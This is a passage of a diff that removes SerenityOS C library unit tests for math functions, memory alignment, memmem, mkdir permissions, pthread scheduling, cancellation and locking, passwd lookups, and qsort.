EXPECT_EQ(lgamma(1.0), 0.0);
EXPECT_EQ(lgamma(2.0), 0.0);
EXPECT(isinf(lgamma(0.0)));
EXPECT(!signbit(lgamma(-0.0)));
EXPECT(isnan(lgamma(NAN)));
EXPECT(isinf(lgamma(INFINITY)));
EXPECT(isinf(lgamma(-INFINITY)));
EXPECT_EQ(signgam, 1);
lgamma(-2.5);
EXPECT_EQ(signgam, -1);
}
TEST_CASE(fmax_and_fmin)
{
EXPECT(fmax(-INFINITY, 0) == 0);
EXPECT(fmax(NAN, 12) == 12);
EXPECT(fmax(5, NAN) == 5);
EXPECT(isnan(fmax(NAN, NAN)));
EXPECT(isinf(fmax(1'000'000, INFINITY)));
EXPECT(isinf(fmin(-INFINITY, 0)));
EXPECT(fmin(0, INFINITY) == 0);
EXPECT(fmin(NAN, 5) == 5);
EXPECT(fmin(0, NAN) == 0);
EXPECT(isnan(fmin(NAN, NAN)));
}
TEST_CASE(acos)
{
EXPECT_APPROXIMATE(acos(-1), M_PI);
EXPECT_APPROXIMATE(acos(0), 0.5 * M_PI);
EXPECT_APPROXIMATE(acos(1), 0);
EXPECT(isnan(acos(1.1)));
}
TEST_CASE(floor)
{
// NOTE: We run tests for all three float types since architecture-specific code may vary significantly between types.
#define TEST_FLOOR_FOR(suffix) \
EXPECT_EQ(floor##suffix(0.125f), 0.f); \
EXPECT_EQ(floor##suffix(-0.125f), -1.0f); \
EXPECT_EQ(floor##suffix(0.5f), 0.f); \
EXPECT_EQ(floor##suffix(-0.5f), -1.0f); \
EXPECT_EQ(floor##suffix(0.25f), 0.f); \
EXPECT_EQ(floor##suffix(-0.25f), -1.0f); \
EXPECT_EQ(floor##suffix(-3.0f / 2.0f), -2.0f);
TEST_FLOOR_FOR();
TEST_FLOOR_FOR(f);
TEST_FLOOR_FOR(l);
EXPECT_EQ(floor(-9999999999999.5), -10000000000000.0);
EXPECT_EQ(floor(9999999999999.5), 9999999999999.0);
}
TEST_CASE(ceil)
{
#define TEST_CEIL_FOR(suffix) \
EXPECT_EQ(ceil##suffix(0.125##suffix), 1.0##suffix); \
EXPECT_EQ(ceil##suffix(-0.125##suffix), 0.##suffix); \
EXPECT_EQ(ceil##suffix(0.5##suffix), 1.0##suffix); \
EXPECT_EQ(ceil##suffix(-0.5##suffix), 0.##suffix); \
EXPECT_EQ(ceil##suffix(0.25##suffix), 1.0##suffix); \
EXPECT_EQ(ceil##suffix(-0.25##suffix), 0.##suffix); \
EXPECT_EQ(ceil##suffix(-3.0##suffix / 2.0##suffix), -1.0##suffix);
TEST_CEIL_FOR();
TEST_CEIL_FOR(f);
TEST_CEIL_FOR(l);
EXPECT_EQ(ceil(9999999999999.5), 10000000000000.0);
EXPECT_EQ(ceil(-9999999999999.5), -9999999999999.0);
}
TEST_CASE(trunc)
{
#define TEST_TRUNC_FOR(suffix) \
EXPECT_EQ(trunc##suffix(0.125##suffix), 0.##suffix); \
EXPECT_EQ(trunc##suffix(-0.125##suffix), 0.##suffix); \
EXPECT_EQ(trunc##suffix(0.5##suffix), 0.##suffix); \
EXPECT_EQ(trunc##suffix(-0.5##suffix), 0.##suffix); \
EXPECT_EQ(trunc##suffix(0.25##suffix), 0.##suffix); \
EXPECT_EQ(trunc##suffix(-0.25##suffix), 0.##suffix); \
EXPECT_EQ(trunc##suffix(-3.0##suffix / 2.0##suffix), -1.0##suffix);
TEST_TRUNC_FOR();
TEST_TRUNC_FOR(f);
TEST_TRUNC_FOR(l);
EXPECT_EQ(trunc(9999999999999.5), 9999999999999.0);
EXPECT_EQ(trunc(-9999999999999.5), -9999999999999.0);
}
TEST_CASE(round)
{
#define TEST_ROUND_FOR(suffix) \
EXPECT_EQ(round##suffix(0.125##suffix), 0.##suffix); \
EXPECT_EQ(round##suffix(-0.125##suffix), 0.##suffix); \
EXPECT_EQ(round##suffix(0.5##suffix), 1.0##suffix); \
EXPECT_EQ(round##suffix(-0.5##suffix), -1.0##suffix); \
EXPECT_EQ(round##suffix(0.25##suffix), 0.##suffix); \
EXPECT_EQ(round##suffix(-0.25##suffix), 0.##suffix); \
EXPECT_EQ(round##suffix(-3.0##suffix / 2.0##suffix), -2.0##suffix);
TEST_ROUND_FOR();
TEST_ROUND_FOR(f);
TEST_ROUND_FOR(l);
EXPECT_EQ(round(9999999999999.5), 10000000000000.0);
EXPECT_EQ(round(-9999999999999.5), -10000000000000.0);
}

View file

@ -1,103 +0,0 @@
/*
* Copyright (c) 2022, Peter Elliott <pelliott@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <mallocdefs.h>
#include <stdlib.h>
static constexpr size_t runs = 500;
static constexpr size_t ptrs_per_run = 20;
static size_t random_alignment()
{
return 1 << (rand() % 16);
}
static size_t random_size()
{
int r = rand() % num_size_classes;
if (r == num_size_classes - 1) {
return rand() % (1 << 17);
}
return size_classes[r] + (rand() % (size_classes[r + 1] - size_classes[r]));
}
static bool is_aligned(void* ptr, size_t align)
{
return (reinterpret_cast<uintptr_t>(ptr) & (align - 1)) == 0;
}
TEST_CASE(posix_memalign_fuzz)
{
EXPECT_NO_CRASH("posix_memalign should not crash under regular use", [] {
for (size_t i = 0; i < runs; ++i) {
size_t align = random_alignment();
size_t size = random_size();
for (size_t j = 0; j < 2; ++j) {
void* ptrs[ptrs_per_run];
for (size_t k = 0; k < ptrs_per_run; ++k) {
EXPECT_EQ(posix_memalign(&(ptrs[k]), align, size), 0);
EXPECT(is_aligned(ptrs[k], align));
}
for (size_t k = 0; k < ptrs_per_run; ++k) {
free(ptrs[k]);
}
}
}
return Test::Crash::Failure::DidNotCrash;
});
}
TEST_CASE(posix_memalign_not_power2)
{
char secret_ptr[0];
void* memptr = secret_ptr;
EXPECT_EQ(posix_memalign(&memptr, 7, 256), EINVAL);
EXPECT_EQ(memptr, secret_ptr);
}
TEST_CASE(aligned_alloc_fuzz)
{
EXPECT_NO_CRASH("aligned_alloc should not crash under regular use", [] {
for (size_t i = 0; i < runs; ++i) {
size_t align = random_alignment();
size_t size = random_size();
for (size_t j = 0; j < 2; ++j) {
void* ptrs[ptrs_per_run];
for (size_t k = 0; k < ptrs_per_run; ++k) {
ptrs[k] = aligned_alloc(align, size);
EXPECT(ptrs[k]);
EXPECT(is_aligned(ptrs[k], align));
}
for (size_t k = 0; k < ptrs_per_run; ++k) {
free(ptrs[k]);
}
}
}
return Test::Crash::Failure::DidNotCrash;
});
}
TEST_CASE(aligned_alloc_not_power2)
{
#if defined(AK_COMPILER_CLANG)
# pragma clang diagnostic push
# pragma clang diagnostic ignored "-Wnon-power-of-two-alignment"
#endif
EXPECT_EQ(aligned_alloc(7, 256), nullptr);
EXPECT_EQ(errno, EINVAL);
#if defined(AK_COMPILER_CLANG)
# pragma clang diagnostic pop
#endif
}

View file

@ -1,44 +0,0 @@
/*
* Copyright (c) 2020, Ali Mohammad Pur <mpfard@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/Types.h>
#include <string.h>
struct TestCase {
u8 const* haystack;
size_t haystack_length;
u8 const* needle;
size_t needle_length;
ssize_t matching_offset { -1 };
};
static TestCase const g_test_cases[] = {
{ (u8 const*) {}, 0u, (u8 const*) {}, 0u, 0 },
{ (u8 const[]) { 1, 2, 3 }, 3u, (u8 const[]) { 1, 2, 3 }, 3u, 0 },
{ (u8 const[]) { 1, 2, 4 }, 3u, (u8 const[]) { 1, 2, 3 }, 3u, -1 },
{ (u8 const*)"abcdef", 6u, (u8 const[]) {}, 0u, 0 },
{ (u8 const*)"abcdef", 6u, (u8 const*)"de", 2u, 3 },
{ (u8 const[]) { 0, 1, 2, 5, 2, 5 }, 6u, (u8 const[]) { 1 }, 1u, 1 },
{ (u8 const[]) { 0, 1, 2, 5, 2, 5 }, 6u, (u8 const[]) { 1, 2 }, 2u, 1 },
{ (u8 const[]) { 0, 1, 1, 2 }, 4u, (u8 const[]) { 1, 5 }, 2u, -1 },
{ (u8 const[64]) { 0 }, 64u, (u8 const[33]) { 0 }, 33u, 0 },
{ (u8 const[64]) { 0, 1, 1, 2 }, 64u, (u8 const[33]) { 1, 1 }, 2u, 1 },
};
TEST_CASE(memmem_search)
{
size_t i = 0;
for (auto const& test_case : g_test_cases) {
auto expected = test_case.matching_offset >= 0 ? test_case.haystack + test_case.matching_offset : nullptr;
auto result = memmem(test_case.haystack, test_case.haystack_length, test_case.needle, test_case.needle_length);
if (result != expected) {
FAIL(ByteString::formatted("Test {} FAILED! expected {:p}, got {:p}", i, expected, result));
}
++i;
}
}

View file

@ -1,105 +0,0 @@
/*
* Copyright (c) 2021, Max Wipfli <max.wipfli@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>
static ByteString random_dirname()
{
return ByteString::formatted("/tmp/test_mkdir_{:04x}", (u16)rand());
}
TEST_SETUP
{
srand(time(NULL));
}
TEST_CASE(basic)
{
auto dirname = random_dirname();
int res = mkdir(dirname.characters(), 0755);
EXPECT(res == 0);
res = mkdir(dirname.characters(), 0755);
int cached_errno = errno;
EXPECT(res < 0);
EXPECT_EQ(cached_errno, EEXIST);
}
TEST_CASE(insufficient_permissions)
{
VERIFY(getuid() != 0);
int res = mkdir("/root/foo", 0755);
int cached_errno = errno;
EXPECT(res < 0);
EXPECT_EQ(cached_errno, EACCES);
}
TEST_CASE(nonexistent_parent)
{
auto parent = random_dirname();
auto child = ByteString::formatted("{}/foo", parent);
int res = mkdir(child.characters(), 0755);
int cached_errno = errno;
EXPECT(res < 0);
EXPECT_EQ(cached_errno, ENOENT);
}
TEST_CASE(parent_is_file)
{
int res = mkdir("/etc/passwd/foo", 0755);
int cached_errno = errno;
EXPECT(res < 0);
EXPECT_EQ(cached_errno, ENOTDIR);
}
TEST_CASE(pledge)
{
int res = pledge("stdio cpath", nullptr);
EXPECT(res == 0);
auto dirname = random_dirname();
res = mkdir(dirname.characters(), 0755);
EXPECT(res == 0);
// FIXME: Somehow also check that mkdir() stops working when removing the cpath promise. This is currently
// not possible because this would prevent the unveil test case from properly working.
}
TEST_CASE(unveil)
{
int res = unveil("/tmp", "rwc");
EXPECT(res == 0);
auto dirname = random_dirname();
res = mkdir(dirname.characters(), 0755);
EXPECT(res == 0);
res = unveil("/tmp", "rw");
EXPECT(res == 0);
dirname = random_dirname();
res = mkdir(dirname.characters(), 0755);
int cached_errno = errno;
EXPECT(res < 0);
EXPECT_EQ(cached_errno, EACCES);
res = unveil("/tmp", "");
EXPECT(res == 0);
dirname = random_dirname();
res = mkdir(dirname.characters(), 0755);
cached_errno = errno;
EXPECT(res < 0);
EXPECT_EQ(cached_errno, ENOENT);
res = unveil(nullptr, nullptr);
EXPECT(res == 0);
}

View file

@ -1,68 +0,0 @@
/*
* Copyright (c) 2022, kleines Filmröllchen <filmroellchen@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <pthread.h>
#include <sched.h>
#include <unistd.h>
#define TEST_CASE_IN_PTHREAD(x) \
static void* __TESTCASE_FUNC(x##__inner)(void*); \
TEST_CASE(x) \
{ \
pthread_t thread; \
pthread_create(&thread, nullptr, __TESTCASE_FUNC(x##__inner), nullptr); \
pthread_join(thread, nullptr); \
} \
static void* __TESTCASE_FUNC(x##__inner)(void*)
TEST_CASE_IN_PTHREAD(basic_priority)
{
auto min_priority = sched_get_priority_min(0);
auto max_priority = sched_get_priority_max(0);
sched_param const min_priority_parameter { .sched_priority = min_priority };
sched_param const max_priority_parameter { .sched_priority = max_priority };
auto rc = pthread_setschedparam(0, 0, &min_priority_parameter);
EXPECT_EQ(rc, 0);
sched_param output_parameter;
rc = pthread_getschedparam(0, 0, &output_parameter);
EXPECT_EQ(rc, 0);
EXPECT_EQ(output_parameter.sched_priority, min_priority);
rc = pthread_setschedparam(0, 0, &max_priority_parameter);
EXPECT_EQ(rc, 0);
rc = pthread_getschedparam(0, 0, &output_parameter);
EXPECT_EQ(rc, 0);
EXPECT_EQ(output_parameter.sched_priority, max_priority);
rc = pthread_setschedparam(0, 0, &max_priority_parameter);
EXPECT_EQ(rc, 0);
return 0;
}
TEST_CASE_IN_PTHREAD(invalid_arguments)
{
auto min_priority = sched_get_priority_min(0);
auto max_priority = sched_get_priority_max(0);
sched_param const under_priority_parameter { .sched_priority = min_priority - 1 };
sched_param const over_priority_parameter { .sched_priority = max_priority + 1 };
sched_param const min_priority_parameter { .sched_priority = min_priority };
// Set too high or too low priorities.
auto rc = pthread_setschedparam(0, 0, &over_priority_parameter);
EXPECT_EQ(rc, EINVAL);
rc = pthread_setschedparam(0, 0, &under_priority_parameter);
EXPECT_EQ(rc, EINVAL);
// Get and set a thread that doesn't exist.
rc = pthread_setschedparam(-42069, 0, &min_priority_parameter);
EXPECT_EQ(rc, ESRCH);
sched_param output_parameter;
rc = pthread_getschedparam(-42069, 0, &output_parameter);
EXPECT_EQ(rc, ESRCH);
return 0;
}

View file

@ -1,126 +0,0 @@
/*
* Copyright (c) 2022, Tim Schumacher <timschumi@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <pthread.h>
#include <unistd.h>
#define TEST_CASE_IN_PTHREAD(x) \
static void* __TESTCASE_FUNC(x##__inner)(void*); \
TEST_CASE(x) \
{ \
pthread_t thread; \
pthread_create(&thread, nullptr, __TESTCASE_FUNC(x##__inner), nullptr); \
pthread_join(thread, nullptr); \
} \
static void* __TESTCASE_FUNC(x##__inner)(void*)
TEST_CASE_IN_PTHREAD(cancel_state_valid)
{
int old_state = 0;
// Ensure that we return the default state correctly.
EXPECT_EQ(pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_state), 0);
EXPECT_EQ(old_state, PTHREAD_CANCEL_ENABLE);
// Make sure that PTHREAD_CANCEL_DISABLE sticks.
EXPECT_EQ(pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &old_state), 0);
EXPECT_EQ(old_state, PTHREAD_CANCEL_DISABLE);
return nullptr;
}
TEST_CASE_IN_PTHREAD(cancel_state_invalid)
{
constexpr int lower_invalid_state = min(PTHREAD_CANCEL_ENABLE, PTHREAD_CANCEL_DISABLE) - 1;
constexpr int upper_invalid_state = max(PTHREAD_CANCEL_ENABLE, PTHREAD_CANCEL_DISABLE) + 1;
int old_state = 0;
// Check that both invalid states are rejected and don't change the old state.
EXPECT_EQ(pthread_setcancelstate(lower_invalid_state, &old_state), EINVAL);
EXPECT_EQ(old_state, 0);
EXPECT_EQ(pthread_setcancelstate(upper_invalid_state, &old_state), EINVAL);
EXPECT_EQ(old_state, 0);
// Ensure that we are still in the default state afterwards.
EXPECT_EQ(pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_state), 0);
EXPECT_EQ(old_state, PTHREAD_CANCEL_ENABLE);
return nullptr;
}
TEST_CASE_IN_PTHREAD(cancel_type_valid)
{
int old_type = 0;
// Ensure that we return the default type correctly.
EXPECT_EQ(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, &old_type), 0);
EXPECT_EQ(old_type, PTHREAD_CANCEL_DEFERRED);
// Make sure that PTHREAD_CANCEL_ASYNCHRONOUS sticks (not that it should ever be used).
EXPECT_EQ(pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, &old_type), 0);
EXPECT_EQ(old_type, PTHREAD_CANCEL_ASYNCHRONOUS);
return nullptr;
}
TEST_CASE_IN_PTHREAD(cancel_type_invalid)
{
constexpr int lower_invalid_type = min(PTHREAD_CANCEL_DEFERRED, PTHREAD_CANCEL_ASYNCHRONOUS) - 1;
constexpr int upper_invalid_type = max(PTHREAD_CANCEL_DEFERRED, PTHREAD_CANCEL_ASYNCHRONOUS) + 1;
int old_type = 0;
// Check that both invalid types are rejected and don't change the old type.
EXPECT_EQ(pthread_setcanceltype(lower_invalid_type, &old_type), EINVAL);
EXPECT_EQ(old_type, 0);
EXPECT_EQ(pthread_setcanceltype(upper_invalid_type, &old_type), EINVAL);
EXPECT_EQ(old_type, 0);
// Ensure that we are still in the default state afterwards.
EXPECT_EQ(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, &old_type), 0);
EXPECT_EQ(old_type, PTHREAD_CANCEL_DEFERRED);
return nullptr;
}
static void cancel_clenaup_handler(void* data)
{
(*static_cast<bool*>(data)) = true;
}
static void* cancel_inner(void* data)
{
pthread_cleanup_push(cancel_clenaup_handler, data);
pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, nullptr);
pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, nullptr);
// Sleep for a second until the other side sets up their end of the check,
// then do a call to write, which should be a cancellation point.
sleep(1);
write(STDOUT_FILENO, nullptr, 0);
pthread_exit(nullptr);
}
TEST_CASE(cancel)
{
pthread_t thread;
bool called_cleanup_handler = false;
pthread_create(&thread, nullptr, cancel_inner, &called_cleanup_handler);
int rc = pthread_cancel(thread);
void* exit_code;
pthread_join(thread, &exit_code);
EXPECT_EQ(rc, 0);
EXPECT_EQ(called_cleanup_handler, true);
EXPECT_EQ(exit_code, PTHREAD_CANCELED);
}

View file

@ -1,86 +0,0 @@
/*
* Copyright (c) 2022, Tim Schumacher <timschumi@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <pthread.h>
static size_t exit_count = 0;
static void exit_count_test_handler(void* data)
{
EXPECT_EQ(exit_count, reinterpret_cast<size_t>(data));
exit_count++;
}
static void immediate_fail_handler(void*)
{
FAIL("Called a cleanup handler");
}
static void* cleanup_pthread_exit_inner(void*)
{
// Push handlers in reverse order as they are taken from the top of the stack on cleanup.
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(2));
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(1));
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(0));
pthread_exit(nullptr);
}
TEST_CASE(cleanup_pthread_exit)
{
pthread_t thread;
exit_count = 0;
pthread_create(&thread, nullptr, cleanup_pthread_exit_inner, nullptr);
pthread_join(thread, nullptr);
// Ensure that all exit handlers have been called.
EXPECT_EQ(exit_count, 3ul);
}
static void* cleanup_return_inner(void*)
{
// Returning from the main function should not call any cleanup handlers.
pthread_cleanup_push(immediate_fail_handler, nullptr);
return nullptr;
}
TEST_CASE(cleanup_return)
{
pthread_t thread;
pthread_create(&thread, nullptr, cleanup_return_inner, nullptr);
pthread_join(thread, nullptr);
}
static void* cleanup_pop_inner(void*)
{
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(1));
pthread_cleanup_push(immediate_fail_handler, nullptr);
pthread_cleanup_push(exit_count_test_handler, reinterpret_cast<void*>(0));
pthread_cleanup_push(immediate_fail_handler, nullptr);
// Popping a cleanup handler shouldn't run the callback unless `execute` is given.
pthread_cleanup_pop(0);
pthread_cleanup_pop(1);
pthread_cleanup_pop(0);
pthread_cleanup_pop(1);
return nullptr;
}
TEST_CASE(cleanup_pop)
{
pthread_t thread;
exit_count = 0;
pthread_create(&thread, nullptr, cleanup_pop_inner, nullptr);
pthread_join(thread, nullptr);
// Ensure that all exit handlers have been called.
EXPECT_EQ(exit_count, 2ul);
}

View file

@ -1,90 +0,0 @@
/*
* Copyright (c) 2021, Rodrigo Tobar <rtobarc@gmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <pthread.h>
TEST_CASE(rwlock_init)
{
pthread_rwlock_t lock;
auto result = pthread_rwlock_init(&lock, nullptr);
EXPECT_EQ(0, result);
}
TEST_CASE(rwlock_rdlock)
{
pthread_rwlock_t lock;
auto result = pthread_rwlock_init(&lock, nullptr);
EXPECT_EQ(0, result);
result = pthread_rwlock_rdlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_rdlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_rdlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
}
TEST_CASE(rwlock_wrlock)
{
pthread_rwlock_t lock;
auto result = pthread_rwlock_init(&lock, nullptr);
EXPECT_EQ(0, result);
result = pthread_rwlock_wrlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
}
TEST_CASE(rwlock_rwr_sequence)
{
pthread_rwlock_t lock;
auto result = pthread_rwlock_init(&lock, nullptr);
EXPECT_EQ(0, result);
result = pthread_rwlock_rdlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_wrlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_rdlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
}
TEST_CASE(rwlock_wrlock_init_in_once)
{
static pthread_rwlock_t lock;
static pthread_once_t once1 = PTHREAD_ONCE_INIT;
static pthread_once_t once2 = PTHREAD_ONCE_INIT;
static pthread_once_t once3 = PTHREAD_ONCE_INIT;
pthread_once(&once1, []() {
pthread_once(&once2, []() {
pthread_once(&once3, []() {
auto result = pthread_rwlock_init(&lock, nullptr);
EXPECT_EQ(0, result);
});
});
});
auto result = pthread_rwlock_wrlock(&lock);
EXPECT_EQ(0, result);
result = pthread_rwlock_unlock(&lock);
EXPECT_EQ(0, result);
}

View file

@ -1,131 +0,0 @@
/*
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <pthread.h>
#include <unistd.h>
TEST_CASE(spin_init_process_scope)
{
{
pthread_spinlock_t lock {};
auto result = pthread_spin_init(&lock, PTHREAD_SCOPE_PROCESS);
EXPECT_EQ(0, result);
result = pthread_spin_destroy(&lock);
EXPECT_EQ(0, result);
}
{
pthread_spinlock_t garbage_lock { 0x1337 };
auto result = pthread_spin_init(&garbage_lock, PTHREAD_SCOPE_PROCESS);
EXPECT_EQ(0, result);
result = pthread_spin_destroy(&garbage_lock);
EXPECT_EQ(0, result);
}
}
TEST_CASE(spin_init_system_scope)
{
pthread_spinlock_t lock {};
auto result = pthread_spin_init(&lock, PTHREAD_SCOPE_SYSTEM);
EXPECT_EQ(0, result);
pthread_spinlock_t garbage_lock { 0x99999 };
result = pthread_spin_init(&garbage_lock, PTHREAD_SCOPE_PROCESS);
EXPECT_EQ(0, result);
}
TEST_CASE(spin_lock)
{
pthread_spinlock_t lock {};
auto result = pthread_spin_lock(&lock);
EXPECT_EQ(0, result);
// We should detect that this thread already holds this lock.
result = pthread_spin_lock(&lock);
EXPECT_EQ(EDEADLK, result);
}
TEST_CASE(spin_try_lock)
{
{
pthread_spinlock_t lock {};
auto result = pthread_spin_trylock(&lock);
EXPECT_EQ(0, result);
result = pthread_spin_unlock(&lock);
EXPECT_EQ(0, result);
}
{
pthread_spinlock_t lock {};
auto result = pthread_spin_trylock(&lock);
EXPECT_EQ(0, result);
// We should detect that this thread already holds the lock.
result = pthread_spin_trylock(&lock);
EXPECT_EQ(EBUSY, result);
}
}
static void lock_from_different_thread(pthread_spinlock_t* lock)
{
pthread_t thread_id {};
auto result = pthread_create(
&thread_id, nullptr, [](void* param) -> void* {
auto lock = (pthread_spinlock_t*)param;
pthread_spin_lock(lock);
return nullptr;
},
lock);
EXPECT_EQ(0, result);
result = pthread_join(thread_id, nullptr);
EXPECT_EQ(0, result);
}
TEST_CASE(spin_unlock)
{
{
pthread_spinlock_t lock {};
auto result = pthread_spin_lock(&lock);
EXPECT_EQ(0, result);
result = pthread_spin_unlock(&lock);
EXPECT_EQ(0, result);
}
{
pthread_spinlock_t lock {};
lock_from_different_thread(&lock);
auto result = pthread_spin_unlock(&lock);
EXPECT_EQ(EPERM, result);
}
}
TEST_CASE(spin_destroy)
{
{
pthread_spinlock_t lock {};
auto result = pthread_spin_lock(&lock);
EXPECT_EQ(0, result);
result = pthread_spin_destroy(&lock);
EXPECT_EQ(EBUSY, result);
result = pthread_spin_unlock(&lock);
EXPECT_EQ(0, result);
}
{
pthread_spinlock_t lock {};
lock_from_different_thread(&lock);
auto result = pthread_spin_destroy(&lock);
EXPECT_EQ(EBUSY, result);
}
}

View file

@ -1,118 +0,0 @@
/*
* Copyright (c) 2022, Andreas Kling <kling@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/Vector.h>
#include <pwd.h>
struct PasswdEntry {
ByteString name;
uid_t uid {};
};
static Vector<PasswdEntry> get_all_passwd_entries()
{
Vector<PasswdEntry> entries;
setpwent();
while (auto* pwd = getpwent()) {
entries.append(PasswdEntry {
.name = pwd->pw_name,
.uid = pwd->pw_uid,
});
}
return entries;
}
TEST_CASE(getpwuid_r)
{
// Verify that all known passwd entries can be found with getpwuid_r()
for (auto const& entry : get_all_passwd_entries()) {
struct passwd pwd_buffer = {};
char buffer[4096] = {};
struct passwd* result = nullptr;
auto rc = getpwuid_r(entry.uid, &pwd_buffer, buffer, sizeof(buffer), &result);
EXPECT_EQ(rc, 0);
EXPECT_EQ(entry.uid, result->pw_uid);
EXPECT_EQ(entry.name, result->pw_name);
}
// Verify that a bogus UID can't be found with getpwuid_r()
{
struct passwd pwd_buffer = {};
char buffer[4096] = {};
struct passwd* result = nullptr;
auto rc = getpwuid_r(99991999, &pwd_buffer, buffer, sizeof(buffer), &result);
EXPECT_EQ(rc, ENOENT);
EXPECT_EQ(result, nullptr);
}
// Verify that two calls to getpwuid_r() don't clobber each other.
{
struct passwd pwd_buffer1 = {};
char buffer1[4096] = {};
struct passwd* result1 = nullptr;
auto rc1 = getpwuid_r(0, &pwd_buffer1, buffer1, sizeof(buffer1), &result1);
EXPECT_EQ(rc1, 0);
EXPECT_NE(result1, nullptr);
EXPECT_EQ(result1, &pwd_buffer1);
struct passwd pwd_buffer2 = {};
char buffer2[4096] = {};
struct passwd* result2 = nullptr;
auto rc2 = getpwuid_r(0, &pwd_buffer2, buffer2, sizeof(buffer2), &result2);
EXPECT_EQ(rc2, 0);
EXPECT_NE(result2, nullptr);
EXPECT_EQ(result2, &pwd_buffer2);
EXPECT_NE(result1, result2);
}
}
TEST_CASE(getpwnam_r)
{
// Verify that all known passwd entries can be found with getpwnam_r()
for (auto const& entry : get_all_passwd_entries()) {
struct passwd pwd_buffer = {};
char buffer[4096] = {};
struct passwd* result = nullptr;
auto rc = getpwnam_r(entry.name.characters(), &pwd_buffer, buffer, sizeof(buffer), &result);
EXPECT_EQ(rc, 0);
EXPECT_EQ(entry.uid, result->pw_uid);
EXPECT_EQ(entry.name, result->pw_name);
}
// Verify that a bogus name can't be found with getpwnam_r()
{
struct passwd pwd_buffer = {};
char buffer[4096] = {};
struct passwd* result = nullptr;
auto rc = getpwnam_r("99991999", &pwd_buffer, buffer, sizeof(buffer), &result);
EXPECT_EQ(rc, ENOENT);
EXPECT_EQ(result, nullptr);
}
// Verify that two calls to getpwnam_r() don't clobber each other.
{
struct passwd pwd_buffer1 = {};
char buffer1[4096] = {};
struct passwd* result1 = nullptr;
auto rc1 = getpwnam_r("root", &pwd_buffer1, buffer1, sizeof(buffer1), &result1);
EXPECT_EQ(rc1, 0);
EXPECT_NE(result1, nullptr);
EXPECT_EQ(result1, &pwd_buffer1);
struct passwd pwd_buffer2 = {};
char buffer2[4096] = {};
struct passwd* result2 = nullptr;
auto rc2 = getpwnam_r("root", &pwd_buffer2, buffer2, sizeof(buffer2), &result2);
EXPECT_EQ(rc2, 0);
EXPECT_NE(result2, nullptr);
EXPECT_EQ(result2, &pwd_buffer2);
EXPECT_NE(result1, result2);
}
}

View file

@ -1,69 +0,0 @@
/*
* Copyright (c) 2020, Sahan Fernando <sahan.h.fernando@gmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/ByteString.h>
#include <AK/QuickSort.h>
#include <AK/Random.h>
#include <AK/Vector.h>
#include <stdlib.h>
size_t const NUM_RUNS = 10;
struct SortableObject {
int m_key;
int m_payload;
};
static int compare_sortable_object(void const* a, void const* b)
{
int const key1 = static_cast<SortableObject const*>(a)->m_key;
int const key2 = static_cast<SortableObject const*>(b)->m_key;
if (key1 < key2) {
return -1;
} else if (key1 == key2) {
return 0;
} else {
return 1;
}
}
static int calc_payload_for_pos(size_t pos)
{
pos *= 231;
return pos ^ (pos << 8) ^ (pos << 16) ^ (pos << 24);
}
TEST_CASE(quick_sort)
{
// Generate vector of SortableObjects in sorted order, with payloads determined by their sorted positions
Vector<SortableObject> test_objects;
for (auto i = 0; i < 1024; ++i) {
test_objects.append({ i * 137, calc_payload_for_pos(i) });
}
for (size_t i = 0; i < NUM_RUNS; i++) {
// Shuffle the vector, then sort it again
shuffle(test_objects);
qsort(test_objects.data(), test_objects.size(), sizeof(SortableObject), compare_sortable_object);
// Check that the objects are sorted by key
for (auto i = 0u; i + 1 < test_objects.size(); ++i) {
auto const& key1 = test_objects[i].m_key;
auto const& key2 = test_objects[i + 1].m_key;
if (key1 > key2) {
FAIL(ByteString::formatted("saw key {} before key {}\n", key1, key2));
}
}
// Check that the object's payloads have not been corrupted
for (auto i = 0u; i < test_objects.size(); ++i) {
auto const expected = calc_payload_for_pos(i);
auto const payload = test_objects[i].m_payload;
if (payload != expected) {
